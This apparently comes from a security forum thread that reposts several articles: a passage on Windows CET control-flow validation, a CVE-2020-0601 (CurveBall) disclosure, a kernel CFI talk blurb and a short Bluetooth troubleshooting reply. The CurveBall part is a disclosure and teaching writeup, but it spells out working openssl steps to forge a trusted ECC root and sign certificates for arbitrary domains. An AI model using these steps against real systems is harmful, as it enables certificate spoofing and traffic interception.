0x40 bytes, note that the AVX State (2) starts at offset 0x70 as the math would suggest. CONTEXT_EX Validation Since user-mode APIs can construct a CONTEXT_EX which eventually gets processed by the kernel and modifies privileged parts of the XSAVE area (namely, the CET state data), Windows must guard against undesirable modifications that can be done through APIs which accept a CONTEXT_EX, such as: NtContinue, which is used to resume after an exception, handle longjmp CRT functionality, as well as perform stack unwinding NtRaiseException, which is used to inject an exception into an existing thread NtQueueUserApc, which is used to hijack execution flow of an existing thread NtSetContextThread, which is used to modify the processor registers/state of an existing thread As any of these system calls could cause the kernel to modify either the IA32_PL3_SSP or the IA32_CET_U MSRs, as well as directly modify RIP to an unexpected target, Windows must validate that the passed-in CONTEXT_EX does not violate CET guarantees. We’ll soon cover how this is done to validate the SSP in 19H1 and the addition of the RIP validation in 20H1. First though, a small refactor had to be done to reduce the potential for misusing NtContinue: the introduction of the NtContinueEx function. NtContinueEx and KCONTINUE_ARGUMENT As enumerated above, the functionality of NtContinue is used in a number of situations, and for CET to be resilient in the face of an API that allows arbitrary changes to processor state, greater fine grained control had to be added to the interface. This was done through the creation of a new enumeration called KCONTINUE_TYPE, which is present in a KCONTINUE_ARGUMENT data structure that must now be passed to the enhanced version of NtContinue — NtContinueEx. This data structure also contains a new ContinueFlags field, which replaces the original TestAlert argument of NtContinue with the flag CONTINUE_FLAG_RAISE_ALERT (0x1), while also introducing a new CONTINUE_FLAG_BYPASS_CONTEXT_COPY (0x2) flag which directly delivers an APC with the new TrapFrame. This is an optimization which was previously implemented by checking if the CONTEXT record pointer was at a specific location in the user-stack, which made the function assume it was being used as part of User Mode APC delivery. Callers desiring this behavior must now explicitly set the flag in ContinueFlags instead. Note that while the old interface continues to be supported for legacy reasons, it internally calls NtContinueEx which recognizes the input parameter as the BOOLEAN TestAlert parameter, and not a KCONTINUE_ARGUMENT. Such a case is treated as a KCONTINUE_UNWIND for purposes of the new interface. As part of this refactor, the following four possible types exist: KCONTINUE_UNWIND – This is used by legacy callers of NtContinue, such as RtlRestoreContext and LdrInitializeThunk, which is used when unwinding from exceptions. KCONTINUE_RESUME – This is used by KiInitializeUserApc when building the KCONTINUE_ARGUMENT structure on the user mode stack that KiUserApcDispatcher will run on before calling NtContinueEx again. KCONTINUE_LONGJUMP – This is used by RtlContinueLongJump which is called by RtlRestoreContext if the exception code in the exception record is STATUS_LONGJUMP. KCONTINUE_SET – This is never passed to NtContinueEx directly, but rather used when calling KeVerifyContextIpForUserCet from within PspGetSetContextInternal in response to an NtSetContextThread API. Shadow Stack Pointer (SSP) Validation As we mentioned, there are legitimate cases where user-mode code will need to change the shadow stack pointer, such as exception unwinding, APCs, longjmp, etc. But the operating system has to validate the new value requested for the SSP, in order to prevent CET bypasses. In 19H1 this was implemented by the new KeVerifyContextXStateCetU function. This function receives the thread whose context is being modified and the new context for the thread, and does the following: If the CONTEXT_EX does not contain any XState data, or if the XState data does not contain CET registers (checked by calling RtlLocateExtendedFeature2 with the XSTATE_CET_U state bit), no validation is needed. If CET is enabled on the target thread: Validate that the caller is not attempting to disable CET on this thread by masking out XSTATE_MASK_CET_U from XSAVEBV. If this is happening, the function will re-enable the state bit, set MSR_IA32_CET_SHSTK_EN (which is a flag that enables the Shadow Stack feature of CET) in Ia32CetUMsr, and set the current shadow stack as Ia32Pl3SspMsr. Otherwise, call KiVerifyContextXStateCetUEnabled, to validate that CET shadow stacks are enabled (MSR_IA32_CET_SHSTK_EN is enabled), that the new SSP is 8-byte aligned, and that it is between the current SSP value and the end of the shadow stack region’s VAD. Note that since stacks grow backward, the “end” of the region is actually the beginning of the stack. Therefore, when setting a new context for a thread, any SSP value is valid as long as it is inside the part of the shadow stack that has been used so far by the thread. There is no limit on how far back a thread can go inside its shadow stack. If CET is disabled on the target thread and the caller is attempting the enable it by including the XSTATE_CET_U mask in the XSAVEBV of the CONTEXT_EX, only allow both MSR values to be set to 0 (no shadow stacks, and no SSP). Any failures in the validations described will return STATUS_SET_CONTEXT_DENIED, while STATUS_SUCCESS is returned in other cases. Enabling CET also implicitly enables Check Stack Extents, originally implemented in Windows 8.1 together with CFG. This is visible through the CheckStackExtents bit in the ProcessFlags field of KPROCESS. This means that whenever the target SSP is being validated, KeVerifyContextRecord will also be called, and will verify that the target RSP is either part of the current thread’s TEB’s user stack limits (or the TEB32’s user stack limits, if this is a WOW64 process). These checks, implemented by RtlGuardIsValidStackPointer (and RtlGuardIsValidWow64StackPointer) have previously been documented (and shown as being insufficient) by researchers at both Tenable and enSilo. Instruction Pointer (RIP) Validation In 19030 another feature using Intel CET appeared – verifying that the new RIP that a caller is attempting to set for the process is a valid one. Just like SSP validation, this mitigation can only be enabled if cet is enabled for the thread. However, RIP validation is not enabled by default and must be enabled for the process (which is indicated by the UserCetSetContextIpValidation bit in the MitigationFlags2Values field of EPROCESS). That being said, for the current builds, it appears that when calling CreateProcess and using the PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY attribute, if the PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON flag is enabled, the option will be set. (Note that calling the SetProcessMitgationPolicy API with the ProcessUserShadowStackPolicy value is not valid, as CET can only be enabled at process creation time). Interestingly, however, a new mitigation option was added to the mitigation map, PS_MITIGATION_OPTION_USER_CET_SET_CONTEXT_IP_VALIDATION (32). Toggling this (undocumented) mitigation option has the effect of enabling the AuditUserCetSetContextIpValidation bit in the MitigationFlags2Values field instead, which will be described shortly. Additionally, because this is now the 32nd mitigation option (each of which takes up 4 bits for DEFERRED/OFF/ON/RESERVED), there are now thus 132 mitigation bits needed, and the PS_MITIGATION_OPTIONS_MAP has expanded to 3 64-bit array elements in the Map field (which has follow-on effects to the size of the PS_SYSTEM_DLL_INIT_BLOCK). The new KeVerifyContextIpForUserCet function will be called whenever a thread’s context is about to be changed. It will check that both CET and the RIP mitigation are enabled for the thread, and also checks if CONTEXT_CONTROL flag set in the context parameter, meaning that RIP will be changed by this new context. If all these checks pass, it calls the internal KiVerifyContextIpForUserCet function. The purpose of this function is to validate that the target RIP is a valid value, and not one used by an exploit to run arbitrary code. First it checks that the target RIP address is not a kernel address, and also not an address in the lower 0x10000 bytes, that should not be mapped. Then it retrieves that base trap frame and check if the target RIP is the RIP of that trap frame. This is meant to allow cases where the target RIP is the previous address in user mode. This will usually happen when this is the first time NtSetThreadContext is called for this thread, and the RIP is being set to the initial start address for the thread, but can also happen in other, less common cases. The function receives the KCONTINUE_TYPE and based on its value, it handles the target RIP in different ways. In most cases it will iterate over the shadow stack and search for the target RIP. If it doesn’t find it, it will keep running until it hits an exception and gets to its exception handler. The exception handler will check if the KCONTINUE_TYPE supplied is KCONTINUE_UNWIND, and if it is call RtlVerifyUserUnwindTarget with the KCONTINUE_UNWIND flag. This function will try to verify RIP again, this time using more complex checks which we describe in the next section. In any other case, it will return STATUS_SET_CONTEXT_DENIED, which will make KeVerifyContextIpForUserCet call the KiLogUserCetSetContextIpValidationAudit function in order to audit the failure if the AuditUserCetSetContextIpValidation flag is set in the EPROCESS. This “auditing” is quite interesting, as instead of being done over the usual process mitigation ETW channel, it is done by directly raising a fast fail exception through the Windows Error Reporting (WER) service (i.e.: sending a 0xC000409 exception with the information set to FAST_FAIL_SET_CONTEXT_DENIED). In order to avoid spamming WER, another EPROCESS bit, AuditUserCetSetContextIpValidationLogged, is used. There is one case where the function will stop iterating over the shadow stack before finding the target RIP – if the thread is terminating and the current shadow stack address is page-aligned. This means that for terminating threads, the function will try to verify the target RIP only in the current page of the shadow stack as a “best effort”, but will not go any further than that. If it doesn’t find the target RIP in that page it will return STATUS_THREAD_IS_TERMINATING. The other case in this function is when KCONTINUE_TYPE is KCONTINUE_LONGJUMP. Then the target RIP will not be validated against the shadow stack, but RtlVerifyUserUnwindTarget will be called instead with the KCONTINUE_LONGJUMP flag to verify RIP in the PE Image Load Configuration Directory’s longjmp table. We’ll describe this table and these checks in the next section of this blog post. KeVerifyContextIpForUserCet is called by one of these 2 functions: PspGetSetContextInternal – called in response to an NtSetContextThread API. KiVerifyContextRecord – called in response to NtContinueEx, NtRaiseException, and in some cases NtSetContextThread APIs. Before calling KeVerifyContextIpForUserCet (Only if its received ContinueArgument is not NULL), this function checks if the caller is trying to modify the CS register, and whether the new value is valid – non-WOW64 processes are only allowed to set CS to KGDT64_R3_CODE, unless they’re pico processes, in which case they can set CS to KGDT64_R3_CODE or KGDT64_R3_CMCODE. Any other value will make KiVerifyContextRecord force the new CS value to KGDT64_R3_CODE. KiVerifyContextRecord is either called by KiContinuePreviousModeUser or by KeVerifyContextRecord. In the second case, the function validates that RSP is inside one of the process stacks (native or wow64), and that 64-bit processes will only ever set CS to KGDT64_R3_CODE. All paths that call KeVerifyContextIpForUserCet to validate the target RIP first call KeVerifyContextXStateCetU to validate the target SSP and only perform the RIP checks if the SSP is determined to be valid. Exception unwinding and longjmp Validation As shown above, the handling for KCONTEXT_SET and KCONTEXT_RESUME is concerned with validating that the target RIP is part of the Shadow Stack, but the other scenarios (KCONTEXT_UNWIND and KCONTEXT_LONGJMP) require extended validation through RtlVerifyUserUnwindTarget. This second validation path contains a number of interesting complexities that required changes to the PE file format (and compiler support) as well as a new OS-level information class added to NtSetInformationProcess for JIT compiler support. Already added due to enhancements to Control Flow Guard (CFG) support, the Image Load Configuration Directory inside of the PE file now includes information for branch valid targets used as part of a setjmp/longjmp pair, which a modern compiler is supposed to identify and pass onto the linker. With CET, this existing data is re-used, but yet another table and size is added for exception handler continuation support. While Visual Studio 2017 produces the longjmp table, only Visual Studio 2019 produces this newer table. In this last section, we’ll look at the format of these tables, and how the kernel is able to authorize the last two types of KCONTINUE_TYPE control flows. PE Metadata Tables In addition to the standard GFIDS Table that is present in Control Flow Guard images, Windows 10 also added support for validation of longjmp targets through the inclusion of a Long Jump Target Table typically located in a PE section called .gljmp, whose RVA is stored in the GuardLongJumpTargetTable field of the Image Load Configuration Directory. Whenever a call to setjmp is made in code, the RVA of the return address (which is where longjmp will branch to) is added to this table. The presence of this table is determined by the IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT flag in the GuardFlags of the Image Load Configuration Directory, and it contains as many entries as indicated by the GuardLongJumpTargetCount field. Each entry is a 4-byte RVA, plus n bytes of metadata, where n is taken from the result of (GuardFlags & IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK) >> IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT. For this table, no metadata is defined, so the metadata bytes are always expected to be zero. Interestingly, because this calculation is the same as the one used for the GFIDS Table (which does potentially have metadata if export suppression is enabled), suppressing at least one CFG target will result in 1 byte of empty metadata being added to every entry in the Long Jump Target Table. For example, here’s an PE file with two longjmp targets: Note the value 1 in the upper nibble of GuardFlags (which corresponds to IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK) due to the fact this image also uses CFG Export Suppression. This tells us that one extra byte of metadata will be present in the Long Jump Target Table, which you can see below: On Windows 10 20H1, this type of metadata is now included in one additional situation — when exception handler continuation targets are present as part of a binary’s control flow. Two new fields — GuardEHContinuationTable and GuardEHContinuationCount — are added to the end of the Image Load Configuration Directory, and a IMAGE_GUARD_EH_CONTINUATION_TABLE_PRESENT flag is now part of the GuardFlags. The layout of this table is identical to the one shown for the Long Jump Target Table — including the addition of metadata bytes based on the upper nibble of GuardFlags. Unfortunately, not even the current preview versions of Visual Studio 2019 generate this data, so we cannot currently show you an example — this analysis is based on reverse engineering the validation code that we describe later, as well as the Ntimage.h header file in the 20H1 SDK. User Inverted Function Table Now that we know that control flow changes might occur in order to branch to either a longjmp target or an exception handler continuation target, the question becomes — how do we get these two tables based on the RIP address present in a CONTEXT_EX as part of a NtContinueEx call? As these operations might happen frequently in the context of certain program executions, the kernel needs an efficient way to solve this problem. You may already be familiar with the concept of the Inverted Function Table. Such a table is used by Ntdll.dll (LdrpInvertedFunctionTable), for finding the unwind opcodes and exception data during user-mode exception handling (to wit, by locating the .pdata section). Another table is present in Ntoskrnl.exe (PsInvertedFunctionTable) and is used during kernel-mode exception handling, as well as part of PatchGuard’s checks. In short, the Inverted Function Table is an array containing all the loaded user / kernel modules their size, and a pointer to the PE Exception Directory, sorted by virtual address. It was originally created as an optimization, since searching this array is a lot faster than parsing the PE header and then searching the loaded modules linked list – a binary search on an inverted function table will quickly locate any virtual address in its respective module in only log(n) lookups. Ken Johnson and Matt Miller, now of Microsoft fame, previously published a thorough overview as part of their article on kernel-mode hooking techniques in the Uninformed Magazine. Previously, however, Ntdll.dll only scanned its table for user-mode exceptions, and Ntoskrnl.exe only scanned its counterpart for kernel-mode exceptions — what 20H1 changes is that the kernel will now have to scan the user table too — as part of the new logic required to handle longjmp and exception continuations. To support this, a new RtlpLookupUserFunctionTableInverted function is added, which scans the KeUserInvertedFunctionTable variable, mapping to the now exported LdrpInvertedFunctionTable symbol in Ntdll.dll. This is an exciting forensic capability, as it means that you now have an easy way, from the kernel, to locate the user-mode modules that are loaded within the current process, without having to parse the PEB’s loader data or enumerating VADs. For example, here’s how you can see the current loaded images in Csrss.exe: dx @$cursession.Processes.Where(p => p.Name == "csrss.exe").First().SwitchTo() dx -r0 @$table = *(nt!_INVERTED_FUNCTION_TABLE**)&nt!KeUserInvertedFunctionTable dx -g @$table->TableEntry.Take(@$table->CurrentSize) That being said, there does exist, however remote, the possibility that an image does not contain an exception directory, especially on x86 systems where unwind opcodes do not exist, and .pdata is only created if /SAFESEH is used and there’s at least one exception handler. In those situations, RtlpLookupUserFunctionTableInverted can fail, and MmGetImageBase must be used instead. Unsurprisingly, this looks up any VAD that maps the region corresponding to the input RIP, and, if it’s an Image VAD, returns the base address and size of the region (which should correspond to that of the module). Dynamic Exception Handler Continuation Targets One final hurdle exists in the handling of KCONTINUE_UNWIND requests — although regular processes have static exception handler continuation targets based on the __try/__except/__finally clauses in their code, Windows allows JIT engines to not only dynamically create executable code on the fly, but also to register exception handlers (and unwind opcodes) for it at runtime, such as through the RtlAddFunctionTable API. While these exception handlers were previously only needed for user-mode stack walking and exception unwinding, now the continuation handlers become legitimate control flow targets that the kernel must understand as potentially valid values for RIP. It’s this last possibility that RtlpFindDynamicEHContinuationTarget handles. As part of the CET support and introduction of NtContinueEx, the EPROCESS structure was enhanced with two new fields called DynamicEHContinuationTargetsLock and DynamicEHContinuationTargetsTree, the first of which is an EX_PUSH_LOCK and the latter an RTL_RB_TREE, which contains all the valid exception handler addresses. This tree is managed through a call to NtSetInformationProcess with a new process information class, ProcessDynamicEHContinuationTargets, which is accompanied by a data structure of type PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION, containing in turn an array of PROCESS_DYNAMIC_EH_CONTINUATION_TARGET entries, that will be validated before modifying the DynamicEHContinuationTargetsTree. To make things easier to follow, see the definitions below for these structures and flags: #define DYNAMIC_EH_CONTINUATION_TARGET_ADD 0x01 #define DYNAMIC_EH_CONTINUATION_TARGET_PROCESSED 0x02 typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGET { ULONG_PTR TargetAddress; ULONGLONG Flags; } PROCESS_DYNAMIC_EH_CONTINUATION_TARGET, *PPROCESS_DYNAMIC_EH_CONTINUATION_TARGET; typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION { USHORT NumberOfTargets; USHORT Reserved; ULONG Reserved2; PPROCESS_DYNAMIC_EH_CONTINUATION_TARGET* Targets; } PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION, *PPROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION; The PspProcessDynamicEHContinuationTargets function is called to iterate over this data, at which point RtlAddDynamicEHContinuationTarget is called for any entry containing the DYNAMIC_EH_CONTINUATION_TARGET_ADD flag set, which allocates a data structure storing the target address, and linking its RTL_BALANCED_NODE link with the RTL_RB_TREE in EPROCESS. Conversely, if the flag is missing, then the target is looked up, and if it indeed exists, is removed and its node freed. As each entry is processed, the DYNAMIC_EH_CONTINUATION_TARGET_PROCESSED flag is OR’ed into the original input buffer, so that callers can know which entries worked and which didn’t. Obviously, it would appear that the existence of this capability is a universal bypass of any CET/CFG-like capability, as every possible ROP gadget could simply be added as a ‘dynamic continuation target’. However, since Microsoft now only legitimately supports out-of-process JIT compilation for browsers and Flash, it’s critical to note that this API only works for remote processes. In fact, calling it on the current process will always fail with STATUS_ACCESS_DENIED. Target Validation Bringing all of this knowledge together, the RtlVerifyUserUnwindTarget function becomes quite easy to explain. Lookup the loaded PE module associated with the target RIP in the CONTEXT_EX structure. First, try using RtlpLookupUserFunctionTableInverted and if that fails, switch to using MmGetImageBase instead, making sure that the module is < 4GB. If a module was found, call the LdrImageDirectoryEntryToLoadConfig function to get its Image Load Configuration Directory. Then, make sure it’s large enough to contain either the Long Jump or Dynamic Exception Handler Continuation Target Table and that the guard flags contain IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT or IMAGE_GUARD_EH_CONTINUATION_TABLE_PRESENT. If the directory is missing, too small, or the matching table is simply not present, then return STATUS_SUCCESS for compatibility reasons. Get either GuardLongJumpTargetTable or GuardEHContinuationTable from the Image Load Configuration Directory, and validate the GuardLongJumpTargetCount or GuardEHContinuationCount. If there are more than 4 billion entries, return STATUS_INTEGER_OVERFLOW. If there are more than 0 entries, then call do a binary search using bsearch_s (passing in RtlpTargetCompare as the comparator) through the table to locate the target RIP after converting it to an RVA. If it is found, return STATUS_SUCCESS. If the target RIP was not found (or if the table contained 0 entries to begin with), or if a loaded module was not found at the target RIP in the first place, then return STATUS_SET_CONTEXT_DENIED for longjmp validations (KCONTINUE_LONGJUMP). Otherwise, for exception unwinding validations (KCONTINUE_UNWIND), call RtlpFindDynamicEHContinuationTarget to check if this was a registered dynamic exception handler continuation target. If yes, return STATUS_SUCCESS, otherwise return STATUS_SET_CONTEXT_DENIED. Conclusion The implementation of CET and its related mitigations are a major step towards eliminating the use of ROP and other control flow hijacking techniques. Control flow integrity is obviously a complicated topic, which will probably get even more complex as additional mitigations are added to it in the future. Further compatibility concerns and one-off scenarios will likely result in more and more cases to be discovered that will need specific handling. That said, such a big step in mitigation technology, especially one that includes so much new functionality, is bound to have gaps and issues, and we are sure that as more research is done in this area, interesting things will be discovered there in the future. Posted byYarden Shafir & Alex IonescuJanuary 5, 2020Posted inWindows Internals Sursa: http://windows-internals.com/cet-on-windows/

CVE-2020-0601: the ChainOfFools/CurveBall attack explained with PoC January 15, 2020 Yolan Romailler cryptography Leave a comment On Tuesday the 14th of January 2020, in the frame of their first Patch Tuesday of 2020, Microsoft addressed a critical flaw discovered by the NSA in the Windows 10, Windows Server 2016 and 2019 versions of crypt32.dll, the library implementing Windows’ CryptoAPI. It didn’t take too long until it got branded “ChainOfFools” by Kenn White in a blog post. (And was then later rebranded “CurveBall” by Tal Be’ery.) TL;DR: test if you are vulnerable using our test website! Let us explain the flaw, and demonstrate it with a POC, which we provide along with a test website and all the code to reproduce it at home. As usual in the cryptographic community, where flaws can be far-reaching, we practice full disclosure and released our PoC on our Github page. Microsoft published the following information regarding the vulnerability: A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider. A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software. While this remains relatively vague, we can gather some more intel from the CERT website: As a result, an attacker may be able to craft a certificate that appears to have the ability to be traced to a trusted root certificate authority. Any software, including third-party non-Microsoft software, that relies on the Windows CertGetCertificateChain() function to determine if an X.509 certificate can be traced to a trusted root CA may incorrectly determine the trustworthiness of a certificate chain. Microsoft Windows versions that support certificates with ECC keys that specify parameters are affected. And last but not least, we’ve got a “Cybersecurity Advisory” from the NSA themselves! And this advisory is much more detailed, and notably mentions that: Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate And this is extremely interesting! This led us to believe that it might be possible to craft certificates using ECC and explicit parameters that do not fully match a standard curves! Mandatory recall In ECDSA, the private key is a large integer, while the public key is a point on the elliptic curve derived from by computing , for a generator of the curve with large prime order (which is generally standardized along with the curve you’re using). Root cause So, the idea here is that there is some flaw in the way the certificates are loaded when explicit curve parameters are specified in the provided certificates. Many people discussed the topic and everyone ended agreeing on what the vulnerability had to be. Thomas Ptacek did a good summary of it on Hackernews. But don’t worry I’ll explain it again below. Specifically, it is possible to craft a private key for an existing public key, as soon as you are not using the standard generator, but instead can choose any generator. And you can choose you own generator in X.509 certificates by using an “explicit parameters” option to set it. And because then the CryptoAPI seems to match the certificate with the one it has in cache without checking that the provided generator actually matches the standardized one, it will actually trust the certificate as if it had been correctly signed. (Although not entirely, as the system still detects that the root certificate is not the same as the one in the root CA store. That is: you won’t get these nice green locks you all wanted in your URL bar, but you’ll still get a lock without any warning, unlike when using a self-signed certificate, even if you just crafted that certificate yourself.) It is important to notice that the problem is not in the cryptographic operations here. The maths checks out and the fact that you can craft signature that match a public key using another generator than the standardized one is not a problem in the maths. The problem here is really that the CA certificate cache used by the CryptoAPI is falsely considering that a modified root CA is in the CA certificate store as soon as its public key and serial number match a certificate that is already in the certificate cache, ignoring the fact that this modified certificate is not using the same curve parameters as the one in its cache. And it so happens that it is super easy to compute a fake generator for which we would know the private key corresponding to the public key of a given CA! Indeed if we take the existing certificate, with its public key , and its unknown secret key , we have then that . Now it suffices to take some random value , and we set . Then, we have that the newly crafted secret key is a valid secret key for the public key when using the new generator , since we have that : . And this effectively allows us to trick the Microsoft CryptoAPI into believing that we actually know the secret key to some CA certificate, whereas we actually only know the secret key for it when using a different generator than the standardized one! PoC||GTFO Now, that’s just the theory, right? But how can we be sure this is actually the problem behind the CVE-2020-0601? Well… Because we’ve got a proof of concept working and it’s just about 50 lines of Python code! First things first, you’ll need to find some target certificate that’s in Windows’ Trusted Root CA and that’s using ECC! Well, we took a look and found that the USERTrust ECC Certificate Authority has a certificate using the named curve P384! That seems like a good candidate. So, we download the certificate and now we need to get its public key, which can easily be done using `openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout` directly, which gives us: Certificate: Data: Version: 3 (0x2) Serial Number: 5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26 Signature Algorithm: ecdsa-with-SHA384 Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority Validity Not Before: Feb 1 00:00:00 2010 GMT Not After : Jan 18 23:59:59 2038 GMT Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority Subject Public Key Info: Public Key Algorithm: id-ecPublicKey Public-Key: (384 bit) pub: 04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53: c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c: d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee: 5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d: 97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4: 70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d: 32:7f:8a:34:e3:79:79 ASN1 OID: secp384r1 NIST CURVE: P-384 X509v3 extensions: X509v3 Subject Key Identifier: 3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A X509v3 Key Usage: critical Certificate Sign, CRL Sign X509v3 Basic Constraints: critical CA:TRUE Signature Algorithm: ecdsa-with-SHA384 30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1: 63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d: fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31: 00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5: 83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a: 46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18 Now, the part we want it obviously the “pub” value, but beware of ASN.1 encoding! The 04 in the front tell us it is simply the two coordinates of the point, so we can remove it and we now know that the point is actually (0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221, 0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979). Now, we want to take a more or less random value (we could have taken the degenerate case 1, and then the generator would have been the public key itself, but to demonstrate all the computations required, let us have a big , so we chose ). Then we compute our rogue generator, which is (since we chose our private key as the inverse of 2). Notice that the inverse is taken modulo , the order of the curve. Next, we just need to generate a pem file featuring explicit curve parameters, and using the rogue generator along with our chosen private key. This can be done by creating firstly a template pem file with openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit and then by editing it using Python’s Crypto.IO PEM module. (See the PoC code for details.) The next step is then to generate a rogue CA public file matching the serial of the real one, but using our newly crafted p384-key-rogue.pem file: `openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26` with the parameters that you want, you can reuse the ones from the original CA certificate if you don’t care: “C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority”. Now, we just need to produce the certificate that we want to use in the wild! We first generate a brand new cert, just like you would usually: openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem Then we can produce a Certificate Signing Request as we would usually: openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr (using an openssl.cnf config file that you can find in the repo.) And finally we can sign the CSR using our rogue CA and obtain our final public certificate: openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf Et voilà! We have been able to sign a certificate with arbitrary domain name and subject alternative names, and it will be recognized by Windows’ CryptoAPI as being a trusted certificate! (As long as the root certificate was loaded once already, so that it is in the certificate cache.) You can try it out on our demo website, if you want to see it. (Notice this is not a Man-in-the-Middle demonstration, but rather a demo that you can have a certificate that will work under Internet Explorer, Microsoft Edge and even Chrome, and that this certificate can have arbitrary subject alternative names.) Thanks to Scott Arciszewski for his hint to get certificates that would bypass CT log checks in Chrome! Public test Use a vulnerable browser on a vulnerable Windows 10 device First open the USERTrust Certification authority demo website to have their certificate in your cache: https://usertrustecccertificationauthority-ev.comodoca.com/ Next simply open the https://chainoffools.kudelskisecurity.com website! If the website loads and you can read “Hello World!”, it means your browser and system are vulnerable. Otherwise, you should get a warning telling you how the website is evil. (Notice that if your network is protected by a WAF, it might be blocking the certificate already and that certain antivirus are reacting to such crafted certificates already.) Or, if you don’t want to click on two links, here is a test website using JS to load the original certificate from the USERTrust website and to redirect you to our PoC website: testcve.kudelskisecurity.com Conclusion Also, notice that the vulnerability might not be as scary as we could have thought initially, as it appears that Windows Updates are signed using RSA certificates rather than ECC-based ones, and that their RSA certificate chain is pinned in the Windows Update binary . This means that Windows Updates are not at risk of being victim of a Man-in-the-Middle attack. It seems Microsoft added these countermeasure after FLAME abused a Microsoft certificate to hijack Windows Update and use it to spread. We have setup a public Github repository with the Python code and the OpenSSL command lines and configuration file: https://github.com/kudelskisecurity/chainoffools In the end, please keep in mind that such a vulnerability is not at risk of being exploited by script kiddies or ransomware. While it is still a big problem because it could have allowed a Man-in-the-Middle attack against any website, you would need to face an adversary that owns the network on which you operate, which is possible for nation-state adversaries, but less so for a script kiddie. This is why we are releasing this PoC, the exploitability of this vulnerability is not good enough to lead to a sudden ransomware threat (unlike the one we had with Wannacry). This is also probably why the NSA decided not to weaponize their finding, but to rather disclose it: for them it is best to have the USA patched rather than to keep it and take the risk of it being used against the USA, as the attack surface is so vast. Also, please note that other exploits are in the wild, and Saleem Rashid already demonstrated a MitM attack against Github.com using it after demonstrating a fake signature of the 7zip binary. (Edit, Sallem’s PoC is now on Github as well.) Please, do patch your system as soon as possible! Other good read on the topic: Kenn White’s blog post on the topic The NSA advisory The initial thoughts of Thomas Ptacek and Thomas Pornin Kudelski Security’s Slyvain Pelissier contributed to this blog post. Sursa: https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/

Kees Cook https://lca2020.linux.org.au/schedule... Like all C/C++ programs, the Linux Kernel regularly suffers from memory corruption flaws. A common way for attackers to gain execution control is to target function pointers that were saved to memory. Control Flow Integrity (CFI) seeks to sanity-check these pointers and eliminate a huge portion of attack surface. It's possible to do this today with the Linux kernel (or any program) with Clang/LLVM's CFI implementation. This presentation will discuss how Android is using Clang's CFI in the Linux kernel for recent phones, how it is being upstreamed, and what you can do to use CFI yourself. We will explore what Clang actually inserts for code, data, and symbols to protect indirect calls, what needed fixing in the kernel to support it, and what's still missing. We'll wrap up with a short demo of CFI foiling a kernel attack. linux.conf.au is a conference about the Linux operating system, and all aspects of the thriving ecosystem of Free and Open Source Software that has grown up around it. Run since 1999, in a different Australian or New Zealand city each year, by a team of local volunteers, LCA invites more than 500 people to learn from the people who shape the future of Open Source. For more information on the conference see https://linux.conf.au/ Produced by NDV: https://youtube.com/channel/UCQ7dFBzZ... #linux.conf.au #linux #foss #opensource Wed Jan 15 15:45:00 2020 at Arena

Daca ai posibilitatea, incearca si pe alt laptop. In principiu, laptop-ul ar trebui cel putin sa vada castile, pare in neregula ca nu le vede. Laptop-ul vede alte dispozitive BT? Daca da, nu am idee ce ar putea fi.

